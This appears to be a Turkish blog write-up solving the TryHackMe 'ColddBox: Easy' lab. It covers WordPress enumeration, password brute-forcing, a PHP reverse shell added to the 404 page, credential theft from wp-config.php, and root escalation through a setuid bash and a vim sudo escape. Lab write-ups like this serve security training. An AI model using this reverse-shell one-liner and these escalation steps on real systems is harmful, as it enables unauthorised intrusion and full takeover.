TryHackMe ColddBox: Easy Çözüm
Merhaba. Bu yazımda TryHackMe platformunda yer alan Colddbox: Easy isimli kolay zorlukta olan makinenin çözümünü yapacağım.
İlk olarak nmap taraması yapıyorum.
sudo nmap -sSV --open -p- -vv 10.10.196.76
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-20 01:56 +03
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
4512/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tarama sonucunda görüldüğü üzere 80 numaralı http portu açık. Hemen ip adresini ziyaret ediyorum.
Adresi ziyaret ettiğimde nmap taraması sonucunda da görüldüğü üzere wordpress bir web site bizi karşılamakta. Web site içerisinde biraz gezindikten sonra gobuster taraması yapıyorum.
Bulduğum yolu ziyaret ettiğimde aşağıdaki mesaj karşımıza çıkmakta.
Hugo isimli kullanıcının şifrelerinin C0ldd tarafından değiştirildiğini belirten Philip isimli kişinin mesajı. Bu keşif ardından adresin wordpress olduğunu bildiğim için wpscan ile bir tarama yapıyorum ve kullanıcıları, çeşitli zafiyetleri keşfetmeyi amaçlıyorum. Normal taramada herhangi bir zafiyet ile karşılamadığım için -u parametresi ile kullanıcıları görmek istiyorum.
Zaten gobuster taraması sonucu keşfettiğim yolda yer alan mesajda 3 adet kullanıcı olduğunu biliyorduk. Wpscan taraması sonucunda da bu kullanıcıları keşfettik. Bu kullanıcılardan bir tanesi ile brute-force atak gerçekleştirerek parolasını bulmaya çalışalım.
Not: Makineyi yeniden deploy etmem gerektiği için ip adresi değişti.
c0ldd isimli kullanıcının parolasını elde ettik. Şimdi wordpress admin panel üzerinden giriş yapmayı deneyelim.
Başarılı bir şekilde giriş yaptık. Hemen 404 sayfasını düzenleyerek buraya php reverse shell kodumuzu ekleyip bağlantı almaya çalışacağız. Reverse shell dosyasını direk olarak eklenti yükleme kısmından php dosyası olarakta yükleyip ters bağlantı elde edilebilir.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"); ?>
Yukarıdaki kodu 404.php sayfasına ekleyip adresi (?p=404.php) ziyaret ettiğimde reverse shell bağlantısını elde ediyorum.
Bağlantıyı elde ettikten user.txt dosyasını okumak istiyorum.
user.txt dosyası c0ldd kullanıcısı /home dizininde yer almakta fakat okumak istediğimizde izin verilmiyor. Burada linpeas çalıştırarak olası hak yükseltme yollarını elde etmeye çalışacağım. Burada (https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git) yer alan adresten dosyayı kendi sistemime indiriyorum. Ev dizinine çıkardığım linpeas.sh dosyasını python http server ile hedef sisteme yükleyeceğim.
Python http.server başlattıktan sonra hedef sisteme dosyayı yüklüyorum.
wget http://ip-adresimiz:port(7788)/linpeas.sh
Dosya başarılı bir şekilde yüklendi. Şimdi çalıştıralım.
Burada wp-config.php dosyasının grubunun www.-data olduğunu görüyoruz. Bu dosyayı açıp veritabanı bilgilerini elde edebiliriz.
Evet parolayı elde ediyoruz. Bu parola ile ssh bağlantısı yapmayı deneyelim. ssh bağlantısı yaparken port seçimini nmap taraması sonucu açık olarak görülen 4512 numaralı port üzerinden yapacağız.
sudo ssh [email protected] -p 4512
Bağlantıyı sağlayıp user.txt okuyoruz.
sudo -l komutu ile izinleri kontrol ediyoruz.
Burada bash iznini değiştirebiliriz.
sudo chmod +s /bin/bash
Veya vim ile kök kullanıcı yetkisine erişebiliriz. https://gtfobins.github.io/gtfobins/vim/#sudo adresi ziyaret ettiğimizde burada vim ile root yetkisine erişebileceğimiz bir kod parçacığı verilmekte. Bu kod ile de root yetkilerine ulaşabiliriz.
sudo /usr/bin/vim -c ':!/bin/sh'
root yetkisine erişiyoruz.
root.txt dosyasını da okuyarak çözümü bitirmiş oluyorum.
Başka yazılarda görüşmek üzere.